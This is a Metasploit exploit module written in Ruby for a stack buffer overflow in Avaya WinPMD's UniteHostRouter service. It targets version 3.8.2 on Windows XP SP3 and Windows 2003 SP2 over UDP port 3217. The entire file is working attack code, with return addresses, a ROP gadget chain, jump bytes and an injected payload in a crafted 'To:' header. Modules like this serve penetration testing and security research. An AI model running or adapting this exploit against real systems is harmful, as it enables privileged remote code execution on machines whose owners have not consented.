require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'Avaya WinPMD UniteHostRouter Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Avaya WinPMD. The vulnerability
exists in the UniteHostRouter service, due to the insecure usage of memcpy when
parsing specially crafted "To:" headers. The module has been tested successfully on
Avaya WinPMD 3.8.2 over Windows XP SP3 and Windows 2003 SP2.
},
'Author' =>
[
'Abdul-Aziz Hariri',
'Abysssec',
'juan vazquez'
],
'References' =>
[
['OSVDB', '82764'],
['OSVDB', '73269'],
['BID', '47947'],
['EDB', '18397'],
['URL', 'https://downloads.avaya.com/css/P8/documents/100140122'],
['URL', 'http://secunia.com/advisories/44062']
],
'Payload' =>
{
'BadChars' => "\x00\x0d\x0a\x20\x2f\x3a\x3f",
'Space' => 1024,
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
['Avaya WinPMD 3.8.2 / Windows XP SP3',
{
'Offset' => 260,
'Ret' => 0x77c2e93b
}
],
['Avaya WinPMD 3.8.2 / Windows 2003 SP2',
{
'Offset' => 260,
'Ret' => 0x0040e0f2
}
]
],
'Privileged' => true,
'DisclosureDate' => 'May 23 2011',
'DefaultTarget' => 0
))
register_options([ Opt::RPORT(3217) ], self.class)
end
def junk(n=4)
return rand_text_alpha(n).unpack("V")[0].to_i
end
def nop
return make_nops(4).unpack("V")[0].to_i
end
def exploit
connect_udp
if target.name =~ /Windows XP SP3/
buf = "\xeb\x7f"
buf << rand_text(0x81 - 2)
buf << "\xeb\x7f"
buf << rand_text(0x81 - 2)
buf << "\xeb\x64"
buf << [target.ret].pack("V")
buf << [0x77c5f9a0].pack("V")
buf << ([0x77c3c99c].pack("V")) * 21
buf << [0x77c168cd].pack("V")
elsif target.name =~ /Windows 2003 SP2/
rop_gadgets =
[
0x77bb2563,
0x77ba1114,
0x77bbf244,
junk,
0x77bb0c86,
0x77bc9801,
0x77be2265,
0x77bb2563,
0x03C0990F,
0x77bdd441,
0x77bb48d3,
0x77bf21e0,
0x77bbf102,
0x77bbfc02,
0x77bef001,
0x77bd8c04,
0x77bd8c05,
0x77bb2563,
0x03c0984f,
0x77bdd441,
0x77bb8285,
0x77bb2563,
nop,
0x77be6591,
].pack("V*")
buf = rand_text(3)
buf << rop_gadgets
buf << "\xeb\x7f"
buf << rand_text(0x81-2)
buf << "\xeb\x25"
buf << rand_text(target['Offset'] - buf.length)
buf << "\xf2\xe0\x40"
end
request = "UTP/1 To: 127.0.0.1 /#{buf}\r\n\r\n"
if target.name =~ /Windows 2003 SP2/
request << "\x81\xc4\x54\xf2\xff\xff"
end
request << payload.encoded
print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...")
udp_sock.put(request)
disconnect_udp
end
end